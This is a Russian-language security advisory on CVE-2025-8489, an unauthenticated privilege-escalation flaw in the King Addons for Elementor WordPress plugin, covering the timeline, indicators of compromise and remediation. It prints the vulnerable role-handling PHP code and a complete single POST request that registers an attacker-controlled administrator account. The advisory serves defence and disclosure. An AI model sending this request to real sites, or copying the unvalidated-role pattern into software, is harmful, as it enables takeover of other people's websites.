Критическая уязвимость в плагине Elementor позволяет

Home Критическая уязвимость в плагине Elementor позволяет
безопасность веб приложения

Критическая уязвимость в плагине Elementor позволяет полностью захватить WordPress-сайт

Критическая уязвимость в плагине King Addons for Elementor для WordPress активно эксплуатируется в реальных атаках. С момента раскрытия уже заблокировано более 48 400 попыток атак. Требуются немедленные действия для всех установок.

⚠️ Полный перехват управления без аутентификации

Специалисты по безопасности обнаружили разрушительную уязвимость в плагине King Addons for Elementor, позволяющую полностью неаутентифицированному атакующему получить административный доступ к сайту. Уязвимость затрагивает более 10 000 активных установок по всему миру и уже стала объектом массовых атак всего через один день после публичного раскрытия.

Уязвимость зарегистрирована как CVE-2025-8489 и получила максимальный рейтинг критичности — 9.8 по CVSS, что делает её одной из самых опасных уязвимостей WordPress-плагинов за весь 2025 год.
Эксплуатация позволяет злоумышленнику просто зарегистрировать новую учётную запись с правами администратора — без логина, пароля и какой-либо проверки.

📊 Технические характеристики уязвимости

Параметр Значение
CVE CVE-2025-8489
Оценка CVSS 9.8 (Critical)
Тип уязвимости Повышение привилегий без аутентификации
Уязвимый плагин King Addons for Elementor
Уязвимые версии с 24.12.92 по 51.1.14
Исправленная версия 51.1.35
Количество установок 10 000+
Статус эксплуатации Активно эксплуатируется
Обнаружил Peter Thaleikis (Wordfence)
Bug Bounty $1,073.00

⏱ Таймлайн обнаружения и атак

Дата Событие Значение
24 июля 2025 Первая заявка об уязвимости Закрытое раскрытие вендору
25 сентября 2025 Выпущено исправление 51.1.35 Появляется патч
30 октября 2025 Публичное раскрытие Wordfence Уязвимость опубликована
31 октября 2025 Начало массовых атак Через 1 день после публикации
Декабрь 2025 48 400+ попыток атак заблокировано Массовые кампании

✅ Факт: столь быстрый переход от публикации к активной эксплуатации — признак чрезвычайно высокой критичности.

🔬 Технический разбор: как работает атака

📌 Первопричина: отсутствие валидации ролей

Уязвимость возникает в механизме регистрации пользователей.
Функция handle_register_ajax() не проверяет допустимость роли пользователя, принимая значение user_role напрямую из POST-запроса.

Уязвимый фрагмент логики:

$user_role = isset($_POST['user_role']) ? sanitize_text_field($_POST['user_role']) : "";

if (!empty($user_role) && $user_role !== 'subscriber') {
    $user_data['role'] = $user_role;
}

$user_id = wp_insert_user($user_data);

❌ Проблема в том, что:

  • Нет проверки допустимых ролей
  • Разрешено любое значение, кроме subscriber
  • Можно указать administrator

✅ Санитизация sanitize_text_field() не защищает от логических атак.

🧨 Механизм эксплуатации

Атака выполняется одним POST-запросом без аутентификации:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: application/x-www-form-urlencoded

action=king_addons_user_register
&user_role=administrator
&username=attacker_account
&email=attacker@malicious.com
&password=SecurePassword123

📊 Расшифровка параметров:

Параметр Значение Назначение
action king_addons_user_register Вызов уязвимой функции
user_role administrator Назначение админ-прав
username attacker_account Логин
email attacker@malicious.com E-mail
password SecurePassword123 Пароль

✅ После этого злоумышленник легально входит в админку WordPress с полными правами.

🔥 Что происходит после взлома (Post-Exploitation)

Вектор атаки Метод Последствия
Установка вредоносов Через плагины/темы Компрометация сервера
Бэкдоры Постоянный доступ Полный контроль
Инъекции кода Подмена файлов Подмена контента
Кража данных Доступ к БД Утечки PII
SEO-спам Скрытые ссылки Репутационный ущерб
Доп. админы Создание новых учёток Закрепление доступа
Web Shell Загрузка PHP-скриптов Управление сервером
Изменение конфигураций wp-config, .htaccess Нестабильность

⚠️ Важно: Бэкдоры часто остаются даже после обновления плагина — требуется полный аудит безопасности веб приложения.

🕵️‍♂️ Признаки компрометации

Тип индикатора Что искать Где
Подозрительные админы Неизвестные аккаунты Users → All Users
Логи регистрации POST на admin-ajax.php Access logs
Подозрительная активность Установка тем/плагинов Activity logs
Изменённые файлы wp-config.php, .htaccess File integrity
Web Shell PHP-файлы в uploads Web root
Записи в БД Новые админы wp_users

🛡 План устранения (Remediation)

✅ Шаг 1: Немедленное обновление

Действие Шаг Приоритет
Проверка версии Plugins → Installed Plugins Срочно
Обновление До версии 51.1.35+ Срочно
Проверка версии Контроль после апдейта Срочно
Очистка кэшей WordPress, сервер, CDN Высокий

✅ Шаг 2: Полный аудит безопасности

№ Задача Статус
1 Проверить всех администраторов ☐
2 Проанализировать access-логи ☐
3 Просканировать сайт ☐
4 Проверить плагины и темы ☐
5 Проверить изменённые файлы ☐
6 Проверить таблицу wp_users ☐
7 Сбросить все пароли ☐
8 Перегенерировать security keys ☐

🔐 Дополнительные меры защиты

Контроль Реализация Эффект
WAF Wordfence / Cloudflare Блокирует атаки
2FA Для всех админов Предотвращает вход
Контроль регистраций CAPTCHA / запрет Уменьшает атаки
Мониторинг файлов File Integrity Обнаружение бэкдоров
Минимизация прав Меньше администраторов Снижение ущерба
Регулярные сканы Еженедельно Раннее выявление
Автообновления Включить Быстрое закрытие дыр
Логирование Полное Форензика

📊 Оценка воздействия по типу сайта

Тип сайта Последствия Сложность восстановления Бизнес-риск
Малый бизнес Утечки данных Средняя Высокий
E-commerce Кража платёжных данных Высокая Критический
Медиа Подмена контента Средняя Высокий
Корпоративные сайты Утечки, штрафы Высокая Критический
Личные блоги Спам, вредоносы Низкая Средний
Membership-сайты Утечки подписчиков Высокая Критический

❗ Почему эта уязвимость особенно опасна

  • ✅ Не требует аутентификации
  • ✅ Эксплуатируется одним HTTP-запросом
  • ✅ Даёт полный контроль
  • ✅ Затрагивает 10 000+ сайтов
  • ✅ Эксплуатироваться начала через 1 день после публикации
  • ✅ Устанавливает бэкдоры, переживающие обновление

📌 Wordfence уже заблокировал 48 400+ атак. Это не теория — это реальная война.

🎯 Вывод для экосистемы WordPress

Для разработчиков:

  • Никогда не доверять пользовательским данным
  • Использовать белые списки ролей
  • Минимизировать привилегии
  • Проводить security review до релиза

Для владельцев сайтов:

  • Включить автообновления
  • Удалять неиспользуемые плагины
  • Использовать Defense in Depth
  • Вести логи и мониторинг

✅ Заключение от SecurityLab.Pro

CVE-2025-8489 — это уязвимость уровня «полный захват сайта», требующая немедленных действий.
Один POST-запрос → администратор → полный контроль.

📌 Отложенная установка патча = гарантированный риск взлома.

✅ Краткий чек-лист действий:

  • ✅ Обновить King Addons for Elementor до 51.1.35+
  • ✅ Проверить всех администраторов
  • ✅ Просканировать сайт на бэкдоры
  • ✅ Сбросить все пароли
  • ✅ Перегенерировать security keys
  • ✅ Включить WAF и 2FA
  • ✅ Включить автообновления